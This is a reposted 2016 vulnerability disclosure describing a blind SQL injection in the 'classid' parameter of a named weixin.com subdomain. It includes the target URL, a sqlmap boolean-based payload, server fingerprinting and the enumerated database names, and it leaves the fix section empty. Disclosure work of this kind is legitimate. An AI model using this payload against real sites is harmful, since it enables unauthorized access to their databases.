神刀安全网

漏洞标题: 很快微信开发者平台weixin.com某子站SQL注入

漏洞详情

披露状态:

2016-04-06: 细节已通知厂商并且等待厂商处理中
2016-04-06: 厂商已经确认,细节仅向厂商公开
2016-04-16: 细节向核心白帽子及相关领域专家公开
2016-04-26: 细节向普通白帽子公开
2016-05-06: 细节向实习白帽子公开
2016-05-21: 细节向公众公开

简要描述:

很快微信开发者平台weixin.com某子站SQL注入

详细说明:

http://daohang.weixin.com/WxList.aspx?classid=1006

漏洞证明:

Parameter: classid (GET)

Type: boolean-based blind

Title: AND boolean-based blind – WHERE or HAVING clause

Payload: classid=1006' AND 1087=1087 AND 'LgXX'='LgXX

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5

back-end DBMS: MySQL >= 5.0.0

sqlmap resumed the following injection point(s) from stored session:

Parameter: classid (GET)

Type: boolean-based blind

Title: AND boolean-based blind – WHERE or HAVING clause

Payload: classid=1006' AND 1087=1087 AND 'LgXX'='LgXX

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5

back-end DBMS: MySQL 5

available databases [2]:

[*] daohang

[*] information_schema

修复方案:

版权声明:转载请注明来源 莫里@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 很快微信开发者平台weixin.com某子站SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址